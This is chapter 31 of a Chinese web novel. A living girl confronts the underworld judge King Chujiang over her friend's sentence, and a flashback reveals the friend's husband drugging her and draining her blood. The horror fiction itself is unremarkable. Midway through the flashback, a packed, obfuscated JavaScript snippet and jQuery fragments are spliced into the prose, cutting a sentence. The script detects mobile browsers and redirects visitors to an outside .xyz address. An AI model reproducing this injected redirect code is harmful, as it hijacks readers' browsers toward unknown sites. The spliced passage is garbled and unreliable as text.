31. 第 31 章

作品:《死后被男孟婆缠上了

    “放开她!”


    江芜秋猛地扑上前,双手死死按在那层幕墙上。但幕墙像是活的一样,在她指尖下泛起细微的波纹,又倏然弹回,震得她整个人往后一退。


    刘导游慌了,连忙去拦:“别碰!这层是寒狱封壁,你再动就连你一起吸进去!”


    可江芜秋听不进去。


    她的视线死死锁在那根锁链上,狱卒拉得极用力,锁链在冰面上刮出刺耳的响声,丁程被拖着滑行,身后留下一道浅浅的黑痕。


    她进不去,怎么办?怎么办?!


    江芜秋环顾四周,心急如焚,所有人都被这突发的一幕吓傻了,惊恐、慌乱、无措,一张张面孔都定格在寒气里。再看自己身旁那女鬼,眼神似乎定格在她的脸的上方。


    对了,帽子!


    江芜秋立刻将头上帽子摘下。


    “别!”导游惊得几乎跳了起来,声音破了音,脑袋在脖子上飞速旋转,几乎又要掉了下去。


    但这并没能阻止一心想要追进去的江芜秋。


    帽子一离头,她整个人便像是被水吸入,成功地穿了进去。那幕墙极为冰冷,她的魂魄都忍不住打了个颤。


    生魂弗一进入,忽然齐齐抖动,身上的霜雪簌簌坠落,露出一张张发青、僵硬的面孔。


    他们都醒了。


    “完了,完了……”刘导游的声音颤抖着,从喉咙里艰难挤出。


    他转头一看,那几个不知死活直播的还将镜头对准了里头,拼命在拍。


    “完了!全完了!”


    上千万的鬼观众全都看到了这一幕,直播间的阴兵数量仍在暴涨。


    雪人们朝江芜秋爬过去,最近的一只几乎要碰到她的脚。丁程见状,挣扎更加剧烈,但脖子上的铁链几乎要将她的喉骨绞碎了。


    “胡闹。”


    天地俱寂,阴风止息。


    黑暗里走出一个高大的身影,头戴蓝色方冠,身穿蓝袍褐披,八字胡须,眉目如斩铁刻刀。


    他一出,万顷寒气退避三分。


    “尔等竟然扰乱阴司?”


    声音低沉如钟,震得墙壁生出一道道裂纹。


    刘导游扑通一下跪了下来,脑袋咕噜咕噜滚出去老远,嘴里却还打着招呼:“楚、楚江王……”


    楚江王微微垂目,冷峻的目光落在江芜秋身上,气压骤降,寒气几乎要凝成实质。


    “关闭直播,都关了!”导游命令道。


    “不!为什么要关!生怕大家知道你们判罚不公吗!”江芜秋在里面,声嘶力竭喊道。


    不能让他们关掉直播,不然她根本不能为丁程争取到一线生机。她自然也不知道阴间是否会像阳世一样在乎群众舆论,但求一试。


    【卧槽,这小姑娘够胆啊,在楚江王面前还说得出话】


    【关直播?想捂嘴了??二殿就这么霸道啊?】


    【放什么屁!楚江王要是想捂嘴早就把旅游局的扔出去了,用得着这样?】


    【嘻嘻,支持不关,我要看好戏】


    【判罚不公这罪名可大咯,搞不好要惊动上头的鬼……】


    【谛听大爷如今在地府吗?】


    “放肆!”


    屏幕骤然一花,直播画面被寒气吞没,只余下一片雪白。


    【卧槽我屏幕冻住了?!】


    【有人录屏吗!刚刚那眼神!】


    【史上最刺激直播,仅次于千年前某猴大闹地府!】


    这时,冉星适时走出一步,垂手行礼,语气不卑不亢:“请问,里头那女鬼究竟犯了何罪?您若明言,也好让这生魂死心。”


    楚江王眼神一转,冷得像锋刃。他身后走出一个身着青袍的小吏,手里捧着一卷罪簿,朗声道:“她杀了人。”


    小吏继续念道:“人杀人,判百年;鬼杀人,判千年。罪鬼丁程,以鬼身杀人,阳间一命,阴间千劫。现判入寒冰小地狱受冻刑千年。因其生前积德行善,特准折算刑期八百九十三年。”


    “此为地府明律,不容申辩。”


    此言一出,又在观众里掀起轩然大波。


    【卧槽,居然真敢害人啊!!】


    【杀人的不都是厉鬼吗,她怎么看起来和我们差不多?】


    【好像有哪里不对……】


    【别吵吵!我就想看这生魂敢不敢继续顶嘴】


    “证据呢?”江芜秋咬牙道,声音因怒意而发颤,“你们根本不让她说话,自然你们说什么就是什么!”


    听到这话,楚江王自是不满,换作七十年前他早就叫这生魂变死魂了。


    小吏正要开口,却被冉星截了话头:“她生前既行善积德,总不可能是天生性恶怨毒,死后自动化为厉鬼的吧?”


    楚江王双眼微眯,只冷冷注视着她。


    冉星继续问道:“既然判她‘以鬼身杀人’,那她为何成鬼?是谁杀了她,使她化厉?若前因不明,又何以定后果?”


    她一语戳破判词中的逻辑漏洞。


    那小吏愣住,罪簿上的字似乎都晃了几下,一时答不上来。


    万里之遥外,一个身影本歪在榻上看直播,听这一言,立马坐直了身子,直呼“有意思”。


    【有内鬼,终止审判!】


    【这女鬼有脑子啊,终于有人问重点了!】


    【打起来,打起来!】


    “让她说话。”楚江王沉声道。


    狱卒放开了丁程身上的锁链,她几乎是跑着来到江芜秋身边,抱住她。


    “小秋……”她的声音破碎,“你快回去吧,活人到地府待久了,对身体不好……”


    江芜秋却牢牢抓住她的手腕,眼圈通红:“到底是谁杀了你?”


    丁程微微一怔,眼底闪过恐惧,唇瓣颤抖。


    楚江王冷哼一声,白雾四起,画面在雾中浮现。


    起先是丁程和卢元升相处的片段,后来是丁程带卢元升去见江芜秋的画面,他眼中的贪婪几乎一览无余。


    冉星看了一眼就皱起眉头。


    “阿程,喝这个吧,美容养颜的。”卢元升日日都递给丁程一杯石榴红的果汁,丁程自然甜甜蜜蜜地喝了下去。


    “这个,味道怎么有些怪?”丁程觉得有些腥气。


    “添加了人参还有其他中药成分。”


    卢元升这么解释,丁程也没怀疑,毕竟喝过之后,她的肌肤果真一天比一天光滑,连敬酒的礼服都穿得格外好看。


    直到敬酒前一天,她有些紧张,睡不着起夜,看到卢元升的书房还有些许灯光。


    丁程不知怎地,悄悄地走到门口,听着里头的动静。


    “快了,她就快养好了,明天他们吃完席,我们也能享受上了。”


    “姓丁的还是老了点,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469655|183849||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还得想办法把姓江的骗过来,她年轻,都不用养,直接取血就很滋补了。”


    “唉,那丁程没什么社会关系,结婚了就相当于自家的事了,就算消失也没人找的。”


    “也是。对了,你记得把她手机拿上,免得有人来问。”


    “那肯定啊,我还指望着小江过来做客呢,嘿嘿……”


    虽是对话,但在她耳中,分明都是卢元升的声音!


    他想干什么?又想对小秋做什么?


    丁程心中不安,正要蹑手蹑脚离开,书房的门却骤然打开了!


    “阿程怎么在这里?”


    寒意沿着脊椎窜上脑袋,丁程的心几乎要跳出来。她勉强镇定着说:“我起夜,看到你这边还亮着灯,想来给你送水呢。”


    “水呢?”


    “哦……我忘记拿了。我这就去给你端来。”她声音颤抖


    她想走,脚下却像生了根,动弹不得。


    卢元升轻轻地拍了拍她的肩膀,温柔道:“别忙活了,回去睡觉吧,明天还有得忙呢……老婆。”


    丁程心下一悚,想挣扎却动不了,脑袋里晕晕乎乎的,身体却很听话地往卧室走了。


    “必须提醒小秋……”她努力在脑中挣扎,可意识和身体几乎脱节。


    她躺下,拿起手机,想发消息,却被手指控制着输入:


    【小江,明天一定要来我的酒席哦,吃完之后我还想带你逛逛我们的新家……】


    什么?丁程惊恐地看着屏幕,拼尽全力删掉,可手指又像有自己的意志,再次输入同样的文字。


    反复几次,她终于成功编辑,提醒江芜秋不要来。随即,她彻底失去了身体的自主权。


    翌日,她看着自己和卢元升的家人孩子吃完了席,等卢元升把孩子送回寄宿学校后,又带着她回了家。


    她看着自己给老板打电话,声音甜腻:“老板,之后我应该就不回去做活了。嗯,对,我老公他要带我去大溪地度蜜月……”


    大溪地?度蜜月?这些词语在她耳中却像锋利的刀刃,一刀刀割在心里。


    都是假的!假的!


    丁程拼命尖叫,却发现自己的声带像被封住,发不出一点声音。她看着自己软软地倒进床里,整个人像被抽空了灵魂,只有眼睛里翻滚的恐惧和愤怒。


    过了一会儿,又看到卢元升进来,拍了拍自己的肩膀:“准备好了,走吧。”


    “丁程”如行尸走肉般跟在卢元升身后,顺着楼梯一路往下,来到了地下室。


    地下室空空如也,中央有一架手术台,四角有四把椅子。


    “丁程”躺了上去,她想挣扎,想用手去抓卢元升,可意识与身体完全脱节。


    卢元升从口袋里取出一根小臂长的针,轻描淡写地扎进她左手的静脉。他坐下,悠哉悠哉地顺着导管开始吸血。


    每一天,卢元升都要吸血一升。


    丁程躺在冰冷的手术台上,身体逐渐干瘪,皮肤泛白,眼眸里却仍翻涌着无助与恐惧。每一次针管刺入,她都会感到血液像火焰般被抽走,心脏狂跳,四肢无力。


    如此一月,丁程的身体越来越干瘪,而卢元升的精气神却愈发地好了。


    最后一天,卢元升慢慢放下手中的导管,伸手拍了拍她冰冷的肩膀,温柔道:“阿程啊,你安心地去吧,我会替你照顾你妹子的。”